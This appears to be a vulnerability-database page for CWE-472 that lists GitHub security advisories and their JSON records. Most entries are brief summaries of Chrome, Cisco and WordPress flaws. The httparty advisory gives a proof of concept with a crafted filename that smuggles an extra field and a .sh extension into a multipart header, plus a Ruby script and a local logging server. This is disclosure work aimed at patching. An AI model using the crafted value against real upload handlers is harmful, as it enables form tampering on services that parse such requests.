Common Weakness Enumeration

CWE-472

Allowed

External Control of Assumed-Immutable Web Parameter

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

188 vulnerabilities reference this CWE, most recent first.

GHSA-5PQ7-52MG-HR42

Vulnerability from github – Published: 2023-01-03 13:36 – Updated: 2024-01-05 15:32
VLAI
Summary
httparty has multipart/form-data request tampering vulnerability
Details

Impact

I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.

httparty/lib/httparty/request > body.rb > def generate_multipart

https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43

By exploiting this problem, the following attacks are possible

  • An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field.
  • Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename

For example, this vulnerability can be exploited to generate the following Content-Disposition.

Normal Request example: normal input filename: abc.txt

generated normal header in multipart/form-data Content-Disposition: form-data; name="avatar"; filename="abc.txt"

Malicious Request example malicious input filename: overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt

generated malicious header in multipart/form-data: Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"

The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from *.txt to *.sh .

These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request. I have confirmed that the attack succeeds, at least in the following frameworks

  • Spring (Java)
  • Ktor (Kotlin)
  • Ruby on Rails (Ruby)

The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.

WhatWG's HTML spec has an escaping requirement.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Patches

As noted at the beginning of this section, encoding must be done as described in the HTML Spec.

https://html.spec.whatwg.org/#multipart-form-data

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Therefore, it is recommended that Content-Disposition be modified by either of the following

Before: Content-Disposition: attachment;filename="malicious.sh";dummy=.txt

After: Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"

https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43

file_name.gsub('"', '%22')

Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK. However, since there may be omissions, it is safer to URL encode these as well, if possible. ( \r to %0A and \d to %0D )

PoC

PoC Environment

OS: macOS Monterey(12.3) Ruby ver: ruby 3.1.2p20 httparty ver: 0.20.0 (Python3 - HTTP Request Logging Server)

PoC procedure

(Linux or MacOS is required. This is because Windows does not allow file names containing " (double-quote) .)

  1. Create Project 
$ mkdir my-app
$ cd my-app
$ gem install httparty
  1. Create malicious file
$ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
  1. Generate Vuln code
$ vi example.rb

require 'httparty'

filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'

HTTParty.post('http://localhost:12345/',
  body: {
    name: 'Foo Bar',
    email: 'example@email.com',
    avatar: File.open(filename)
  }
)
  1. Run Logging Server

I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture)

$ vi logging.py

from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler

class LoggingServer(BaseHTTPRequestHandler):

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write("ok".encode("utf-8"))

        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                     str(self.path), str(self.headers), post_data.decode('utf-8'))
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

ip = '127.0.0.1'
port = 12345

server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()

$ python logging.py

  1. Run & Logging server
$ run example.rb

Return Request Header & Body:

User-Agent: Ruby Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz Connection: close Host: localhost:12345 Content-Length: 457

--------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="name"

Foo Bar --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="email"

example@email.com --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt" Content-Type: text/plain

abc --------------------------F857UcxRc2J1zFOz--

Content-Disposition:

Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"

  • name fields is duplicate (avator & foo)
  • filename & extension tampering ( .txt --> .sh )

References

  1. I also include a similar report that I previously reported to Firefox. https://bugzilla.mozilla.org/show_bug.cgi?id=1556711

  2. I will post some examples of frameworks that did not have problems as reference.

Golang https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144

Spring https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267

Symphony https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133

For more information

If you have any questions or comments about this advisory: * Email us at kumagoro_alice@yahoo.co.jp

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "httparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-22049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-03T13:36:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nI found \"multipart/form-data request tampering vulnerability\" caused by Content-Disposition \"filename\" lack of escaping in httparty.\n\n`httparty/lib/httparty/request` \u003e `body.rb` \u003e `def generate_multipart`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\nBy exploiting this problem, the following attacks are possible\n\n* An attack that rewrites the \"name\" field according to the crafted file name, impersonating (overwriting) another field.\n* Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename\n\nFor example, this vulnerability can be exploited to generate the following Content-Disposition.\n\n\u003e Normal Request example:\n\u003e normal input filename: `abc.txt`\n\u003e \n\u003e generated normal header in multipart/form-data\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"abc.txt\"`\n \n\u003e Malicious Request example\n\u003e malicious input filename: `overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt`\n\u003e \n\u003e generated malicious header in multipart/form-data:\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"`\n\nThe Abused Header has multiple name ( `avatar` \u0026 `foo` ) fields and the \"filename\" has been rewritten from `*.txt` to `*.sh` .\n\nThese problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.\nI have confirmed that the attack succeeds, at least in the following frameworks\n\n * Spring (Java)\n * Ktor (Kotlin)\n * Ruby on Rails (Ruby)\n\nThe cause of this problem is the lack of escaping of the `\"` (Double-Quote) character in Content-Disposition \u003e filename.\n\nWhatWG\u0027s HTML spec has an escaping requirement.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\n\n\n### Patches\n\nAs noted at the beginning of this section, encoding must be done as described in the HTML Spec.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\nTherefore, it is recommended that Content-Disposition be modified by either of the following\n\n\u003e Before:\n\u003e `Content-Disposition: attachment;filename=\"malicious.sh\";dummy=.txt`\n\n\u003e After:\n\u003e `Content-Disposition: attachment;filename=\"%22malicious.sh%22;dummy=.txt\"`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\n```\nfile_name.gsub(\u0027\"\u0027, \u0027%22\u0027)\n```\n\nAlso, as for `\\r`, `\\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK.\nHowever, since there may be omissions, it is safer to URL encode these as well, if possible.\n( `\\r` to `%0A` and `\\d` to `%0D` ) \n\n### PoC\n\n#### PoC Environment\n\nOS: macOS Monterey(12.3)\nRuby ver: ruby 3.1.2p20 \nhttparty ver: 0.20.0\n(Python3 - HTTP Request Logging Server)\n\n### PoC procedure\n\n\n(Linux or MacOS is required. \nThis is because Windows does not allow file names containing `\"` (double-quote) .)\n\n1. Create Project \n```\n$ mkdir my-app\n$ cd my-app\n$ gem install httparty\n```\n\n2. Create malicious file\n\n```\n$ touch \u0027overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\u0027\n```\n\n3. Generate Vuln code\n\n```\n$ vi example.rb\n```\n\n```\nrequire \u0027httparty\u0027\n\nfilename = \u0027overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\u0027\n\nHTTParty.post(\u0027http://localhost:12345/\u0027,\n  body: {\n    name: \u0027Foo Bar\u0027,\n    email: \u0027example@email.com\u0027,\n    avatar: File.open(filename)\n  }\n)\n```\n\n\n4. Run Logging Server\n\nI write Python code, but any method will work as long as you can see the HTTP Request Body.\n(e.g. Debugger, HTTP Logging Server, Packet Capture) \n\n\n$ vi logging.py\n```\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass LoggingServer(BaseHTTPRequestHandler):\n\n    def do_POST(self):\n        self.send_response(200)\n        self.end_headers()\n        self.wfile.write(\"ok\".encode(\"utf-8\"))\n\n        content_length = int(self.headers[\u0027Content-Length\u0027])\n        post_data = self.rfile.read(content_length)\n        print(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\n                     str(self.path), str(self.headers), post_data.decode(\u0027utf-8\u0027))\n        self.wfile.write(\"POST request for {}\".format(self.path).encode(\u0027utf-8\u0027))\n\nip = \u0027127.0.0.1\u0027\nport = 12345\n\nserver = HTTPServer((ip, port), LoggingServer)\nserver.serve_forever()\n```\n\n$ python logging.py\n\n\n5. Run \u0026 Logging server\n\n```\n$ run example.rb\n```\n\nReturn Request Header \u0026 Body:\n\n\u003e User-Agent: Ruby\n\u003e Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz\n\u003e Connection: close\n\u003e Host: localhost:12345\n\u003e Content-Length: 457\n\u003e \n\u003e  --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"name\"\n\u003e \n\u003e Foo Bar\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"email\"\n\u003e \n\u003e example@email.com\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\u003e Content-Type: text/plain\n\u003e \n\u003e abc\n\u003e --------------------------F857UcxRc2J1zFOz--\n\n\nContent-Disposition:\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\n* name fields is duplicate (avator \u0026 foo)\n* filename \u0026 extension tampering ( .txt --\u003e .sh )\n\n\n\n\n### References\n\n1. I also include a similar report that I previously reported to Firefox.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1556711\n\n\n2. I will post some examples of frameworks that did not have problems as reference.\n\nGolang\nhttps://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144\n\nSpring\nhttps://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267\n\nSymphony\nhttps://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)\n",
  "id": "GHSA-5pq7-52mg-hr42",
  "modified": "2024-01-05T15:32:51Z",
  "published": "2023-01-03T13:36:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22049"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jnunemaker/httparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2024-22049.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "httparty has multipart/form-data request tampering vulnerability"
}

GHSA-679F-X4G5-488C

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV160, RV160W, RV260, RV260P, and RV260W VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as the root user on an affected device. These vulnerabilities exist because HTTP requests are not properly validated. An attacker could exploit these vulnerabilities by sending a crafted HTTP request to the web-based management interface of an affected device. A successful exploit could allow the attacker to remotely execute arbitrary code on the device.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-1295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-04T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV160, RV160W, RV260, RV260P, and RV260W VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as the root user on an affected device. These vulnerabilities exist because HTTP requests are not properly validated. An attacker could exploit these vulnerabilities by sending a crafted HTTP request to the web-based management interface of an affected device. A successful exploit could allow the attacker to remotely execute arbitrary code on the device.",
  "id": "GHSA-679f-x4g5-488c",
  "modified": "2022-05-24T17:41:01Z",
  "published": "2022-05-24T17:41:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1295"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv160-260-rce-XZeFkNHf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6GW4-X8G7-Q7WW

Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2026-04-08 18:33
VLAI
Details

The Contact Form by WPForms – Drag & Drop Form Builder for WordPress plugin for WordPress is vulnerable to price manipulation in versions up to, and including, 1.8.7.2. This is due to a lack of controls on several product parameters. This makes it possible for unauthenticated attackers to manipulate prices, product information, and quantities for purchases made via the Stripe payment integration.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-3649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-02T17:15:28Z",
    "severity": "MODERATE"
  },
  "details": "The Contact Form by WPForms \u2013 Drag \u0026 Drop Form Builder for WordPress plugin for WordPress is vulnerable to price manipulation in versions up to, and including, 1.8.7.2. This is due to a lack of controls on several product parameters. This makes it possible for unauthenticated attackers to manipulate prices, product information, and quantities for purchases made via the Stripe payment integration.",
  "id": "GHSA-6gw4-x8g7-q7ww",
  "modified": "2026-04-08T18:33:05Z",
  "published": "2024-05-02T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3649"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3075634"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3075634/wpforms-lite/trunk/assets/js/integrations/stripe/wpforms-stripe-payment-element.js"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68a509ae-9943-4b9a-8ede-2b5732e96e6d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6MJM-FQ7H-CM4P

Vulnerability from github – Published: 2026-04-01 06:31 – Updated: 2026-04-01 15:31
VLAI
Details

Integer overflow in ANGLE in Google Chrome on Windows prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-5277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T05:16:00Z",
    "severity": "HIGH"
  },
  "details": "Integer overflow in ANGLE in Google Chrome on Windows prior to 146.0.7680.178 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-6mjm-fq7h-cm4p",
  "modified": "2026-04-01T15:31:14Z",
  "published": "2026-04-01T06:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5277"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/489791424"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-74G6-5MJW-F8X6

Vulnerability from github – Published: 2026-06-09 00:33 – Updated: 2026-06-09 12:32
VLAI
Details

Integer overflow in Media in Google Chrome on Mac prior to 149.0.7827.103 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-11655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T00:16:48Z",
    "severity": "HIGH"
  },
  "details": "Integer overflow in Media in Google Chrome on Mac prior to 149.0.7827.103 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-74g6-5mjw-f8x6",
  "modified": "2026-06-09T12:32:02Z",
  "published": "2026-06-09T00:33:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11655"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0153744567.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/513396305"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-74WG-R88R-3RGQ

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 03:31
VLAI
Details

Integer overflow in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:02Z",
    "severity": "HIGH"
  },
  "details": "Integer overflow in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-74wg-r88r-3rgq",
  "modified": "2026-06-05T03:31:33Z",
  "published": "2026-06-05T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10987"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/515431687"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-767X-95QW-8V6J

Vulnerability from github – Published: 2025-12-19 03:31 – Updated: 2025-12-19 03:31
VLAI
Details

The Deployment Infrastructure in Mintlify Platform before 2025-11-15 allows remote attackers to bypass security patches and execute downgrade attacks via predictable deployment identifiers on the Vercel preview domain. An attacker can identify the URL structure of a previous deployment that contains unpatched vulnerabilities. By browsing directly to the specific git-ref or deployment-id subdomain, the attacker can force the application to load the vulnerable version.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-67846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-19T02:16:09Z",
    "severity": "MODERATE"
  },
  "details": "The Deployment Infrastructure in Mintlify Platform before 2025-11-15 allows remote attackers to bypass security patches and execute downgrade attacks via predictable deployment identifiers on the Vercel preview domain. An attacker can identify the URL structure of a previous deployment that contains unpatched vulnerabilities. By browsing directly to the specific git-ref or deployment-id subdomain, the attacker can force the application to load the vulnerable version.",
  "id": "GHSA-767x-95qw-8v6j",
  "modified": "2025-12-19T03:31:18Z",
  "published": "2025-12-19T03:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67846"
    },
    {
      "type": "WEB",
      "url": "https://kibty.town/blog/mintlify"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=46317098"
    },
    {
      "type": "WEB",
      "url": "https://www.mintlify.com/blog/working-with-security-researchers-november-2025"
    },
    {
      "type": "WEB",
      "url": "https://www.mintlify.com/docs/changelog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77FQ-RMXJ-265C

Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 15:32
VLAI
Details

Integer overflow in Mojo in Google Chrome prior to 149.0.7827.201 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a malicious file. (Chromium security severity: High)

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-13281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T22:17:00Z",
    "severity": "HIGH"
  },
  "details": "Integer overflow in Mojo in Google Chrome prior to 149.0.7827.201 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a malicious file. (Chromium security severity: High)",
  "id": "GHSA-77fq-rmxj-265c",
  "modified": "2026-06-26T15:32:09Z",
  "published": "2026-06-26T00:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13281"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_01245939337.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/513138301"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77Q3-9J2V-49Q7

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV160, RV160W, RV260, RV260P, and RV260W VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as the root user on an affected device. These vulnerabilities exist because HTTP requests are not properly validated. An attacker could exploit these vulnerabilities by sending a crafted HTTP request to the web-based management interface of an affected device. A successful exploit could allow the attacker to remotely execute arbitrary code on the device.

Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-1292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-04T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV160, RV160W, RV260, RV260P, and RV260W VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as the root user on an affected device. These vulnerabilities exist because HTTP requests are not properly validated. An attacker could exploit these vulnerabilities by sending a crafted HTTP request to the web-based management interface of an affected device. A successful exploit could allow the attacker to remotely execute arbitrary code on the device.",
  "id": "GHSA-77q3-9j2v-49q7",
  "modified": "2022-05-24T17:41:00Z",
  "published": "2022-05-24T17:41:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1292"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv160-260-rce-XZeFkNHf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-77W3-QW8R-VFHF

Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-07 01:05
VLAI
Details

Integer overflow in Network in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-7969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-06T19:16:47Z",
    "severity": "MODERATE"
  },
  "details": "Integer overflow in Network in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-77w3-qw8r-vfhf",
  "modified": "2026-05-07T01:05:52Z",
  "published": "2026-05-06T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7969"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/497450574"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
